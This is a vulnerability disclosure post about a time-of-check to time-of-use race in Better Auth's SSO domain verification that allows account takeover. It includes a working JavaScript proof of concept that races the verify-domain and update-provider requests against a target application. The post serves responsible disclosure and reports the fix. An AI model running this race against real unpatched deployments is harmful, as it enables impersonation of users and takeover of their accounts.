Securing Open Source: Better Auth

Part 3 of our Securing Open Source series is Better Auth, a TypeScript authentication framework with 30k+ stars on GitHub.

TL;DR

• Better Auth’s SSO plugin verifies domain ownership with a DNS TXT lookup, then marks the provider as domainVerified: true
• Nothing stops the provider’s domain from being changed while the lookup is in flight
• Racing verify-domain against update-provider gets you a verified provider for a domain you don’t own
• The attacker can then sign in as anyone on that domain

What is Better Auth?

Better Auth is an open source authentication library for TypeScript. Unlike hosted services like WorkOS or Clerk, it runs inside your own backend and stores users in your own database. It handles email/password, social logins, sessions, 2FA, and passkeys, with plugins for organizations, SCIM, and SSO. It’s YC-backed, a popular option for modern codebases, and used by lots of startups (including us!).

Custom SSO is a very common ask for startups catering to enterprise, as these enterprises like to have centralized user management and thus use providers like Okta, Entra ID, etc. So, the SSO plugin is often enabled for B2B SaaS.

Better Auth’s plugin lets users register their own identity provider (IdP) for an email domain. Anyone signing in with that domain goes through the IdP, and Better Auth trusts the email it returns.

Before it fully trusts your IdP though, the plugin first makes you prove you own the domain by having you publish a DNS TXT record. Once that check passes, the provider is marked domainVerified and its emails are trusted.

The vulnerability we found comes down to how that flag gets set.

The Vulnerability

Verifying a Domain

The verifyDomain endpoint loads the provider, reads its domain field, and checks the TXT record for each domain. Then it sets the flag:

1
for (const domain of domains) {
2
    let records: string[] = [];
3
    try {
4
        const dnsRecords = await dns.resolveTxt(`${identifier}.${domain}`);
9 collapsed lines
5
        records = dnsRecords.map((record) => record.join(""));
6
    } catch (error) {
7
        // ...
8
    }
9

10
    const record = records.find(/* matches the verification value */);
11
    if (!record) {
12
        throw new APIError("BAD_GATEWAY", { /* ... */ });
13
    }
14
}
15

16
await ctx.context.adapter.update<SSOProvider<SSOOptions>>({
17
    model: "ssoProvider",
18
    where: [{ field: "providerId", value: provider.providerId }],
19
    update: {
20
        domainVerified: true,
21
    },
22
});

If you wrote a lot of async code before the age of vibe coding, you might be able to see the problem already. DNS operations, like ones ran in dns.resolveTxt, are async network calls, so Node continues to respond to other requests while waiting for the response. The domains array is read before the lookup starts, and the final update only filters on providerId. Nothing checks that the domain in the database is still the same one the lookup was for.

Changing the Domain Mid-Verification

The updateSSOProvider endpoint lets the owner change a provider’s domain, and resets domainVerified to false when they do. On its own that’s correct. But what if the update applies while verifyDomain is still waiting on DNS?

The provider is now verified for victim.com, even though the only domain the TXT record was checked for was attacker.com.

This is a classic TOCTOU (Time-of-Check to Time-of-Use) bug. DNS lookups take tens to hundreds of milliseconds, so the window is big enough that two back-to-back requests hit it most of the time.

Impact

A verified provider for victim.com is trusted for every @victim.com email, and since the attacker runs the IdP, they choose which email it asserts.

With a verified provider, the attacker can:

• Sign in as any existing @victim.com user. With implicit account linking enabled, Better Auth finds the account with the matching email and links the attacker’s IdP identity to it
• Add every @victim.com user who signs in to an organization the attacker controls, if the organization plugin is enabled

The only prerequisite is an account on the target application, since by default any authenticated user can register an SSO provider. The victim doesn’t have to do anything.

Proof of Concept (PoC)

First, the attacker registers a provider for a domain they control, requests a verification record, and publishes it to DNS:

1
const BASE = "https://target.com/api/auth";
2
const headers = {
3
    "Content-Type": "application/json",
4
    Cookie: ATTACKER_SESSION,
5
};
6

7
await fetch(`${BASE}/sso/register`, {
8
    method: "POST",
9
    headers,
10
    body: JSON.stringify({
11
        providerId: "attacker",
12
        issuer: "https://idp.attacker.com",
13
        domain: "attacker.com",
14
        oidcConfig: { /* attacker-controlled IdP */ },
15
    }),
16
});
17

18
const { record } = await fetch(`${BASE}/sso/request-domain-verification`, {
19
    method: "POST",
20
    headers,
21
    body: JSON.stringify({ providerId: "attacker" }),
22
}).then((r) => r.json());
23

24
// publish `record` as a TXT record on attacker.com, then:

Then they send the verification and the domain update at the same time:

1
await Promise.all([
2
    fetch(`${BASE}/sso/verify-domain`, {
3
        method: "POST",
4
        headers,
5
        body: JSON.stringify({ providerId: "attacker" }),
6
    }),
7
    fetch(`${BASE}/sso/update-provider`, {
8
        method: "POST",
9
        headers,
10
        body: JSON.stringify({ providerId: "attacker", domain: "victim.com" }),
11
    }),
12
]);

If the race works, the provider is now verified for victim.com. The attacker signs in through their IdP with an ID token asserting admin@victim.com, and Better Auth links it to the admin’s account. If it doesn’t work, set the domain back and retry until it does.

The Fix

The Better Auth team fixed this in @better-auth/sso@1.6.27 and published GHSA-8c5h-wx78-2cfg.

update now checks that the provider’s domain is still the one that was looked up and that domainVerified is still false before setting it to true. So, if updateSSOProvider changes the domain while the DNS lookup is running, the update doesn’t match anything and verification fails. Since the check and the write happen in the same query, there’s no longer a window for the race to happen.

Timeline

• 06/28/2026 - Veria AI ran on Better Auth
• 06/28/2026 - Veria AI finds and verifies the race condition
• 06/28/2026 - Reported to Better Auth team
• 07/30/2026 - Better Auth team fixes vulnerability
• 08/11/2026 - Better Auth team publishes advisory